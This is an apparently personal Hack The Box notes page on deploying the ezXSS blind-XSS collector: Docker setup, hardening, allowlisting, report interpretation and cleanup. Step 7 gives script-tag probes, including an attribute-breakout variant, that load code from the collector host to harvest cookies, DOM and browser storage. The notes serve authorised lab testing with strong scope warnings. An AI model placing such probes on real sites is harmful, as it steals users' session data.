blind-xss-tool-ezxss.md (15896B)
1 --- 2 title: "Blind XSS Tool - ezXSS" 3 description: "ezXSS is a self-hosted blind-XSS platform for generating probes, receiving browser reports, managing notifications, and controlling how evidence is…" 4 category: web 5 tags: ["web", "adcs", "xss"] 6 tools: [] 7 difficulty: intermediate 8 updated: "2026-08-10" 9 source: "vault:Web/Blind XSS Tool - ezXSS.md" 10 --- 11 # Blind XSS Tool — ezXSS `fas:ClipboardList` 12 13 ## Summary 14 15 [ezXSS](https://github.com/ssl/ezXSS) is a self-hosted blind-XSS platform for generating probes, receiving browser reports, managing notifications, and controlling how evidence is stored. Its Docker deployment can configure the database and obtain a TLS certificate automatically. For HTB use, keep public registration disabled, allowlist only the active lab domains, minimise collected data, and leave persistent-session features disabled unless a specific authorised lab objective requires them. 16 17 > [!danger]+ HTB-Only Boundary 18 > `fas:TriangleExclamation` 19 > 1. Use ezXSS only in Hack The Box, intentionally vulnerable applications, or systems you own and are explicitly authorised to test. 20 > 2. Reports may contain cookies, browser storage, DOM content, screenshots, internal URLs, and other sensitive lab data. 21 > 3. Do not enable public signup, recursive spidering, persistent sessions, or custom post-callback actions for the quick-start workflow. 22 > 4. See Cross-Site Scripting (XSS) - HTB Cheat Sheet for context selection, safe payload progression, and reporting. 23 24 --- 25 26 ## Conceptual Information 27 28 ### When to Use ezXSS 29 30 | Requirement | Fit | 31 |---|---| 32 | Detailed blind-XSS reports and flexible alerts | **Strong fit** | 33 | Strict domain allowlisting | **Strong fit** | 34 | Quick DNS/HTTP-only confirmation | Use Blind XSS Tool - Interactsh instead | 35 | Turnkey screenshot-oriented collector | Compare Blind XSS Tool - XSS Hunter | 36 | Local testing without TLS | Supported with `httpmode=true`, but unsuitable for HTTPS HTB pages | 37 38 ### Core Components 39 40 1. **Web application**: Provides management, payload, report, and settings interfaces. 41 2. **Database**: Stores accounts, settings, payloads, and reports. 42 3. **Callback endpoint**: Receives evidence when a blind-XSS probe executes. 43 4. **Optional notifications**: Sends email or webhook alerts. 44 5. **Optional advanced features**: Custom JavaScript, automatic spidering, and persistent sessions; these materially increase impact and are excluded from the basic HTB workflow. 45 46 > [!warning]+ Dedicated Infrastructure 47 > `fas:TriangleExclamation` 48 > 1. Use a dedicated short hostname such as `e.YOUR_DOMAIN`. 49 > 2. Do not host ezXSS on a domain used for production, personal email, or unrelated applications. 50 > 3. Restrict the management interface to trusted source addresses where possible. 51 > 4. Keep database and screenshot storage encrypted at rest or on an ephemeral lab VPS. 52 53 --- 54 55 ## Prerequisites 56 57 | Requirement | Recommendation | Check | 58 |---|---|---| 59 | Linux server | Dedicated or disposable VPS | `uname -a` | 60 | Docker Engine | Current supported release | `docker --version` | 61 | Docker Compose | Compose v2 | `docker compose version` | 62 | Dedicated hostname | Short public hostname | `dig +short e.YOUR_DOMAIN` | 63 | TLS | Automatic Let's Encrypt or a trusted certificate | Browser and `curl` | 64 | Inbound ports | TCP `80` and `443` | Firewall and `ss` | 65 | Random database password | Unique high-entropy value | Password manager | 66 | Optional SMTP/webhook | Lab-only notification destination | Provider configuration | 67 68 > [!important]+ DNS and TLS Preparation 69 > `fas:TriangleExclamation` 70 > 1. Point the hostname to the VPS before starting the automatic certificate flow. 71 > 2. Ensure TCP `80` and `443` are reachable and not already bound. 72 > 3. Use HTTPS for callbacks from HTTPS pages; browsers commonly block insecure mixed content. 73 > 4. Take a VPS snapshot or record a rollback point before deployment. 74 75 --- 76 77 ## Commands and Implementation 78 79 ### 1. Preflight the Host 80 81 ```bash 82 dig +short e.YOUR_DOMAIN 83 curl -4 https://icanhazip.com 84 sudo ss -lntp '( sport = :80 or sport = :443 )' 85 docker --version 86 docker compose version 87 ``` 88 89 > [!info]+ Preflight Breakdown 90 > 1. DNS should match the VPS public address. 91 > 2. Ports `80` and `443` should be available unless an intentional reverse proxy owns them. 92 > 3. Docker and Compose must both respond before cloning ezXSS. 93 94 ### 2. Clone the Official Repository 95 96 ```bash 97 git clone https://github.com/ssl/ezXSS.git 98 cd ezXSS 99 git status --short 100 docker compose config --services 101 ``` 102 103 > [!info]+ Command Breakdown 104 > 1. **Official repository**: The project installation wiki uses `ssl/ezXSS`. 105 > 2. **Clean baseline**: Record local changes before updates. 106 > 3. **Compose validation**: Prints the service names and detects obvious configuration problems. 107 108 ### 3. Create and Harden the Environment File 109 110 ```bash 111 cp .env.example .env 112 chmod 600 .env 113 ${EDITOR:-vi} .env 114 ``` 115 116 Set at least these values: 117 118 ```dotenv 119 dbPassword=GENERATE_A_UNIQUE_RANDOM_PASSWORD 120 autoInstallCertificate=true 121 domain=e.YOUR_DOMAIN 122 httpmode=false 123 signupEnabled=false 124 debug=false 125 useMailAlerts=false 126 ``` 127 128 > [!info]+ Environment Breakdown 129 > 1. **`dbPassword`**: Replace the example with a unique random password; never commit `.env`. 130 > 2. **`autoInstallCertificate=true`**: Enables the Docker certificate workflow when DNS and ports are ready. 131 > 3. **`domain`**: Must match the public hostname used by payloads and TLS. 132 > 4. **`httpmode=false`**: Enforces the normal HTTPS deployment. 133 > 5. **`signupEnabled=false`**: Prevents arbitrary public account creation. 134 > 6. **`debug=false`**: Avoids exposing internal application errors. 135 > 7. **`useMailAlerts=false`**: Disables mail setup until SMTP is deliberately configured. 136 137 > [!warning]+ Local HTTP Mode 138 > `fas:TriangleExclamation` 139 > 1. `httpmode=true` is suitable only for isolated local testing. 140 > 2. An HTTP collector generally cannot load from an HTTPS target because of mixed-content blocking. 141 > 3. Do not use local HTTP mode as the default HTB deployment. 142 143 ### 4. Validate and Start the Stack 144 145 ```bash 146 docker compose config >/dev/null 147 docker compose up -d 148 docker compose ps 149 docker compose logs --tail=150 150 ``` 151 152 > [!info]+ Startup Breakdown 153 > `fas:Terminal` 154 > 1. **Configuration check**: Stops before deployment when YAML or environment interpolation is invalid. 155 > 2. **`up -d`**: Starts the application, database, and supporting services in the background. 156 > 3. **Logs**: Show certificate, database, web-server, or application initialisation errors. 157 > 4. The official guide states that the service should become accessible shortly after Docker completes startup. 158 159 ### 5. Complete Web Installation 160 161 1. Browse to `https://e.YOUR_DOMAIN/manage/install`. 162 2. Create the administrator account with a unique username and password. 163 3. Sign in and verify that the management interface loads over valid HTTPS. 164 4. Confirm that public signup remains disabled. 165 5. Open settings and configure an **allowlist** containing only the active HTB lab domains. 166 6. Disable screenshot, DOM, browser-storage, and notification fields that are unnecessary for the exercise. 167 7. Leave custom JavaScript, automatic spidering, and persistent mode disabled. 168 169 > [!success]+ Expected Result 170 > 1. `/manage/install` is no longer exposed after successful setup. 171 > 2. The management panel requires the new administrator credentials. 172 > 3. A self-test callback from an isolated page appears in the reports view. 173 174 ### 6. Configure HTB Allowlisting 175 176 | Setting | Recommended HTB value | Reason | 177 |---|---|---| 178 | Allowlist | Exact active lab hostnames | Drops unrelated callbacks | 179 | Blocklist | Collector hostname and known self-test pages | Prevents noisy self-reports | 180 | Duplicate handling | Save once or suppress duplicates | Limits storage growth | 181 | Screenshot storage | Disable unless the objective requires it | Minimises sensitive evidence | 182 | DOM length | Small bounded value | Reduces report and notification size | 183 | Browser storage capture | Disable unless explicitly required | Avoids unnecessary sensitive data | 184 | Public signup | Disabled | Prevents unauthorised collector use | 185 186 > [!tip]+ Correlation Convention 187 > `fas:Lightbulb` 188 > 1. Name each payload after the field and timestamp, such as `support-message-20260808-1530`. 189 > 2. Submit one new field at a time. 190 > 3. Record the exact HTB request next to the payload name. 191 192 ### 7. Create and Place a Probe 193 194 Copy the generated payload from ezXSS. Its shape will resemble: 195 196 ```html 197 <script src="https://e.YOUR_DOMAIN/GENERATED_PAYLOAD_PATH"></script> 198 ``` 199 200 For a confirmed double-quoted attribute context: 201 202 ```html 203 "><script src="https://e.YOUR_DOMAIN/GENERATED_PAYLOAD_PATH"></script> 204 ``` 205 206 > [!warning]+ Payload Discipline 207 > `fas:TriangleExclamation` 208 > 1. Use the exact generated path from your own instance. 209 > 2. Match the breakout to the observed HTML or JavaScript context. 210 > 3. Keep pre-callback and post-callback custom JavaScript empty for the first test. 211 > 4. Do not enable recursive spidering or broad collection simply because the platform supports it. 212 213 ### 8. Interpret the Report 214 215 | Evidence | What it proves | Limitation | 216 |---|---|---| 217 | Callback time | When the payload executed | Server and browser clocks may differ | 218 | URI and origin | Where the browser rendered the probe | SPA navigation can alter visible routes | 219 | Referrer | Prior or embedding page | Referrer policy may redact it | 220 | User agent and IP | Browser and network context | Does not uniquely identify a user | 221 | Cookies | JavaScript-readable cookies | `HttpOnly` values are absent | 222 | DOM or screenshot | Affected page context | May contain unnecessary sensitive data | 223 | Local/session storage | Browser-side application data | Collect only when the lab objective requires it | 224 225 > [!success]+ Evidence Handling 226 > 1. Correlate the report to its payload name, field, account, and time. 227 > 2. Export only the minimum evidence needed for the HTB write-up. 228 > 3. Remove stored lab payloads where the application permits. 229 > 4. Delete collector reports after verifying the final documentation. 230 231 ### 9. Configure Optional Notifications 232 233 1. Create a lab-only email or webhook destination. 234 2. Enable only the matching notification integration. 235 3. Store tokens outside screenshots, notes, and version control. 236 4. Trigger a self-test and verify that secrets or full DOM data are not copied unnecessarily into the alert. 237 5. Rotate the token after the lab if it was exposed during debugging. 238 239 > [!warning]+ Notification Leakage 240 > `fas:TriangleExclamation` 241 > 1. Email, Slack, Discord, and Telegram alerts move evidence into a second system. 242 > 2. Prefer a short summary and a link to the restricted collector. 243 > 3. Never send real third-party session data through consumer notification services. 244 245 --- 246 247 ## Higher-Impact Features `fas:TriangleExclamation` 248 249 > [!danger]+ Persistent Sessions and ezProxy 250 > `fas:TriangleExclamation` 251 > 1. ezXSS can support persistent browser interaction and proxy-style features. 252 > 2. These features materially extend control over the affected browser and may relay authenticated actions or internal content. 253 > 3. Keep them disabled for routine blind-XSS confirmation. 254 > 4. Use them only when a specific HTB lab explicitly requires that impact and stop immediately after capturing the required proof. 255 > 5. Do not expose proxy listeners publicly or use them against real users. 256 257 --- 258 259 ## Operations and Lifecycle 260 261 ### Logs and Health 262 263 ```bash 264 docker compose ps 265 docker compose logs --tail=200 266 docker stats --no-stream 267 ``` 268 269 > [!info]+ Operational Checks 270 > 1. Inspect all services first, then add a service name to narrow the logs. 271 > 2. Watch disk and database growth when screenshots, DOM, or duplicate reports are enabled. 272 > 3. Disable unused notifications and advanced features rather than leaving failing integrations active. 273 274 ### Backup 275 276 Identify the persistent mounts before copying them: 277 278 ```bash 279 docker compose config > compose-resolved.yml 280 docker compose stop 281 cd .. 282 tar -czf "ezxss-backup-$(date +%F).tar.gz" ezXSS/.env ezXSS/compose-resolved.yml ezXSS 283 cd ezXSS 284 docker compose start 285 ``` 286 287 > [!warning]+ Backup Handling 288 > `fas:TriangleExclamation` 289 > 1. The archive may include database files, credentials, reports, screenshots, and callback data. 290 > 2. Review `docker compose config` for named volumes that are not stored inside the repository directory. 291 > 3. Encrypt the backup and retain it only until the HTB evidence is verified. 292 293 ### Update 294 295 ```bash 296 git status --short 297 git pull --ff-only 298 docker compose pull 299 docker compose up -d --build 300 docker compose ps 301 docker compose logs --tail=100 302 ``` 303 304 > [!info]+ Update Breakdown 305 > 1. Back up the database and `.env` first. 306 > 2. Review release notes and `.env.example` changes before restarting. 307 > 3. Re-run a self-test probe after the upgrade. 308 309 ### Stop and Cleanup 310 311 Stop the stack while preserving volumes: 312 313 ```bash 314 docker compose down 315 ``` 316 317 Remove Compose-managed volumes only after exporting required evidence: 318 319 ```bash 320 docker compose down --volumes 321 ``` 322 323 > [!danger]+ Destructive Cleanup 324 > `fas:TriangleExclamation` 325 > 1. `--volumes` can permanently delete the database and reports. 326 > 2. Bind-mounted files and encrypted backups remain separate and require deliberate review. 327 > 3. Revoke notification tokens and remove the DNS record when the collector is retired. 328 329 --- 330 331 ## Troubleshooting 332 333 > [!failure]+ “You did not setup your config file yet” 334 > `fas:CircleXmark` 335 > 1. Confirm `.env.example` was copied to `.env`. 336 > 2. Confirm the container can read the file and that it contains valid key/value lines. 337 > 3. Run `docker compose config` and inspect the application logs. 338 339 > [!failure]+ TLS or Callback Loading Fails 340 > `fas:CircleXmark` 341 > 1. Confirm DNS points to the server and TCP `80`/`443` are reachable. 342 > 2. Confirm `domain=e.YOUR_DOMAIN` and `autoInstallCertificate=true`. 343 > 3. Inspect certificate-related container logs. 344 > 4. Do not redirect the generated payload through extra HTTP-to-HTTPS hops without testing the exact URL. 345 346 > [!failure]+ Database Driver or Connection Error 347 > `fas:CircleXmark` 348 > 1. Confirm the database container is healthy and the `.env` password matches. 349 > 2. Inspect the application and database logs separately. 350 > 3. For non-Docker Apache/NGINX installations, verify the PHP PDO/MySQL driver and database permissions. 351 352 > [!failure]+ Screenshot Storage Error 353 > `fas:CircleXmark` 354 > 1. Disable screenshots if the lab does not require them. 355 > 2. Inspect the mounted storage path and container user ownership. 356 > 3. Avoid world-writable permissions; fix ownership to the documented application user instead. 357 358 > [!failure]+ HTTPS Probe Works but HTTP Probe Does Not 359 > `fas:CircleXmark` 360 > 1. Confirm the generated callback does not redirect unexpectedly. 361 > 2. Inspect browser Network and Console output. 362 > 3. Use HTTPS as the default because it works on both secure and many insecure lab pages. 363 364 --- 365 366 ## Lessons Learned `fas:Lightbulb` 367 368 1. ezXSS is most useful when its collection and notification settings are deliberately reduced to the lab objective. 369 2. Domain allowlisting prevents accidental or unrelated reports from becoming assessment data. 370 3. `signupEnabled=false`, strong admin authentication, and restricted management access are baseline requirements for an exposed collector. 371 4. Persistent features change the risk category of the exercise and should never be part of the default blind-XSS workflow. 372 373 --- 374 375 ## References `fas:BookOpen` 376 377 1. [ezXSS Repository](https://github.com/ssl/ezXSS) 378 2. [Official ezXSS Installation Guide](https://github.com/ssl/ezXSS/wiki/How-to%3A-install-ezXSS) 379 3. [ezXSS Setting Definitions](https://github.com/ssl/ezXSS/wiki/Setting-definitions) 380 4. [ezXSS Common Errors](https://github.com/ssl/ezXSS/wiki/Possible-error-messages) 381 5. [Docker Engine Installation](https://docs.docker.com/engine/install/) 382 6. Cross-Site Scripting (XSS) - HTB Cheat Sheet 383 7. Blind XSS Tool - XSS Hunter 384 8. Blind XSS Tool - Interactsh 385 386 #HTB #WebSecurity #XSS #BlindXSS #ezXSS